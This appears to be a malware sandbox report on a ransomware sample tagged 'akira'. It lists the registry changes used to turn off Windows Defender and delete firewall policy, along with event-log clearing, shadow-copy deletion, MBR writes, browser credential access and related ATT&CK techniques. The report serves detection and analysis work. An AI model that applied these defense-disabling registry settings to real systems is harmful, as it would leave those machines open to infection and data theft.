817db77d1a409ea07b538b7b47e8715cfe682e947f02ec9c01309cb8cc45f7e9

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe

Modifies firewall policy service 3 TTPs 16 IoCs

Modify Registry

Windows Service

Disable or Modify System Firewall

T1562.004

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile\Logging	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\Logging	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\Logging	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedInterfaces\IfIso	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedInterfaces	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\AppIso\FirewallRules	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\Static	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\AppIso	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\Configurable	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\Static\System	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile	reg.exe

Modifies security service 2 TTPs 8 IoCs

Modify Registry

Windows Service

defense_evasion ransomware

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\mpssvc\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe

Clears Windows event logs 1 TTPs 3 IoCs

Clear Windows Event Logs

T1070.001

pid	Process
804	wevtutil.exe
2468	wevtutil.exe
4960	wevtutil.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 5 IoCs

resource	yara_rule
behavioral1/memory/4764-4-0x00007FF7E2810000-0x00007FF7E28E5000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral1/memory/3012-145-0x00007FF7E2810000-0x00007FF7E28E5000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral1/memory/3012-178-0x00007FF7E2810000-0x00007FF7E28E5000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral1/memory/3012-184-0x00007FF7E2810000-0x00007FF7E28E5000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral1/memory/3012-196-0x00007FF7E2810000-0x00007FF7E28E5000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Detects executables referencing many IR and analysis tools 5 IoCs

resource	yara_rule
behavioral1/memory/4764-4-0x00007FF7E2810000-0x00007FF7E28E5000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/3012-145-0x00007FF7E2810000-0x00007FF7E28E5000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/3012-178-0x00007FF7E2810000-0x00007FF7E28E5000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/3012-184-0x00007FF7E2810000-0x00007FF7E28E5000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/3012-196-0x00007FF7E2810000-0x00007FF7E28E5000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools

Modifies boot configuration data using bcdedit 1 TTPs 10 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1624	bcdedit.exe
760	bcdedit.exe
4572	bcdedit.exe
6008	bcdedit.exe
6024	bcdedit.exe
1384	bcdedit.exe
4552	bcdedit.exe
1608	bcdedit.exe
4620	bcdedit.exe
2132	bcdedit.exe

Disables Task Manager via registry modification
defense_evasion

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

Disable or Modify Tools

pid	Process
5684	powershell.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 50 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoxmled.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powerpnt.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32Info.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieinstal.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MRT.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ngentask.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrCEF.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cnfnot32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoadfsb.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msqry32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettings.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\graph.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msfeedssync.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PrintDialog.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PrintIsolationHost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setlang.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\splwow64.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excel.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excelcnv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msosrec.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ngen.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenote.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenotem.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrServicesUpdater.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PresentationHost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanpst.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sdxhelper.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\selfcert.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolsv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\clview.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ie4uinit.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mscorsvw.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\orgchart.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wordconv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ExtExport.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieUnatt.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoasb.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msohtmed.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\outlook.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\runtimebroker.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winword.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ielowutil.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msosync.exe	reg.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5684	powershell.exe

Indicator Removal: Clear Persistence 1 TTPs 50 IoCs

remove IFEO.

Clear Persistence

T1070.009

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\outlook.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\selfcert.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoadfsb.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PresentationHost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PrintDialog.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setlang.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winword.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wordconv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\graph.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msosync.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msqry32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanpst.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ie4uinit.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoasb.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ngentask.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenote.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenotem.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32Info.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mscorsvw.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\orgchart.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrCEF.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ExtExport.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrServicesUpdater.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\runtimebroker.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\splwow64.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolsv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\clview.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excel.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excelcnv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MRT.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoxmled.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ngen.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powerpnt.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PrintIsolationHost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ielowutil.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msfeedssync.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msohtmed.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sdxhelper.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettings.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cnfnot32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieinstal.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieUnatt.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msosrec.exe	reg.exe

Maps connected drives based on registry 3 TTPs 3 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	reg.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	reg.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Power Settings 1 TTPs 1 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
3860	powercfg.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	reagentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	reagentc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\boykisser_wallpaper.jpg"	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4168	sc.exe
856	sc.exe
2796	sc.exe
1208	sc.exe
1664	sc.exe
1468	sc.exe
5420	sc.exe
3904	sc.exe
4400	sc.exe
2916	sc.exe
2524	sc.exe
1288	sc.exe
1244	sc.exe
1712	sc.exe
5412	sc.exe
2112	sc.exe
2188	sc.exe
5844	sc.exe
2744	sc.exe
3564	sc.exe
2772	sc.exe
372	sc.exe
1120	sc.exe
5532	sc.exe
1744	sc.exe
2788	sc.exe
1892	sc.exe
4344	sc.exe
4604	sc.exe
4540	sc.exe
5728	sc.exe
1116	sc.exe
5652	sc.exe
6004	sc.exe
3260	sc.exe
2432	sc.exe
2872	sc.exe
3120	sc.exe
6124	sc.exe
3804	sc.exe
4620	sc.exe
6100	sc.exe
5072	sc.exe
2792	sc.exe
2132	sc.exe
5260	sc.exe
4000	sc.exe
5260	sc.exe
2044	sc.exe
2428	sc.exe
552	sc.exe
2948	sc.exe
5004	sc.exe
4040	sc.exe
1116	sc.exe
2416	sc.exe
4964	sc.exe
5620	sc.exe
5228	sc.exe
3872	sc.exe
6096	sc.exe
4412	sc.exe
1344	sc.exe
212	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
644	vssadmin.exe

Modifies registry key 1 TTPs 10 IoCs

Modify Registry

pid	Process
3504	reg.exe
6040	reg.exe
3872	reg.exe
5472	reg.exe
3956	reg.exe
4436	reg.exe
4428	reg.exe
5612	reg.exe
3304	reg.exe
976	reg.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2412	powershell.exe
2412	powershell.exe
3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe
3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe
3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe
3012	2026-07-09_976bee0f2b80807e15118a562116cda0_akira.exe
5684	powershell.exe
5684	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2412	powershell.exe
Token: SeDebugPrivilege	5684	powershell.exe
Token: SeIncreaseQuotaPrivilege	1388	wmic.exe
Token: SeSecurityPrivilege	1388	wmic.exe
Token: SeTakeOwnershipPrivilege	1388	wmic.exe
Token: SeLoadDriverPrivilege	1388	wmic.exe
Token: SeSystemProfilePrivilege	1388	wmic.exe
Token: SeSystemtimePrivilege	1388	wmic.exe
Token: SeProfSingleProcessPrivilege	1388	wmic.exe
Token: SeIncBasePriorityPrivilege	1388	wmic.exe
Token: SeCreatePagefilePrivilege	1388	wmic.exe
Token: SeBackupPrivilege	1388	wmic.exe
Token: SeRestorePrivilege	1388	wmic.exe
Token: SeShutdownPrivilege	1388	wmic.exe
Token: SeDebugPrivilege	1388	wmic.exe
Token: SeSystemEnvironmentPrivilege	1388	wmic.exe
Token: SeRemoteShutdownPrivilege	1388	wmic.exe
Token: SeUndockPrivilege	1388	wmic.exe
Token: SeManageVolumePrivilege	1388	wmic.exe
Token: 33	1388	wmic.exe
Token: 34	1388	wmic.exe
Token: 35	1388	wmic.exe
Token: 36	1388	wmic.exe
Token: SeIncreaseQuotaPrivilege	1388	wmic.exe
Token: SeSecurityPrivilege	1388	wmic.exe
Token: SeTakeOwnershipPrivilege	1388	wmic.exe
Token: SeLoadDriverPrivilege	1388	wmic.exe
Token: SeSystemProfilePrivilege	1388	wmic.exe
Token: SeSystemtimePrivilege	1388	wmic.exe
Token: SeProfSingleProcessPrivilege	1388	wmic.exe
Token: SeIncBasePriorityPrivilege	1388	wmic.exe
Token: SeCreatePagefilePrivilege	1388	wmic.exe
Token: SeBackupPrivilege	1388	wmic.exe
Token: SeRestorePrivilege	1388	wmic.exe
Token: SeShutdownPrivilege	1388	wmic.exe
Token: SeDebugPrivilege	1388	wmic.exe
Token: SeSystemEnvironmentPrivilege	1388	wmic.exe
Token: SeRemoteShutdownPrivilege	1388	wmic.exe
Token: SeUndockPrivilege	1388	wmic.exe
Token: SeManageVolumePrivilege	1388	wmic.exe
Token: 33	1388	wmic.exe
Token: 34	1388	wmic.exe
Token: 35	1388	wmic.exe
Token: 36	1388	wmic.exe
Token: SeIncreaseQuotaPrivilege	2524	wmic.exe
Token: SeSecurityPrivilege	2524	wmic.exe
Token: SeTakeOwnershipPrivilege	2524	wmic.exe
Token: SeLoadDriverPrivilege	2524	wmic.exe
Token: SeSystemProfilePrivilege	2524	wmic.exe
Token: SeSystemtimePrivilege	2524	wmic.exe
Token: SeProfSingleProcessPrivilege	2524	wmic.exe
Token: SeIncBasePriorityPrivilege	2524	wmic.exe
Token: SeCreatePagefilePrivilege	2524	wmic.exe
Token: SeBackupPrivilege	2524	wmic.exe
Token: SeRestorePrivilege	2524	wmic.exe
Token: SeShutdownPrivilege	2524	wmic.exe
Token: SeDebugPrivilege	2524	wmic.exe
Token: SeSystemEnvironmentPrivilege	2524	wmic.exe
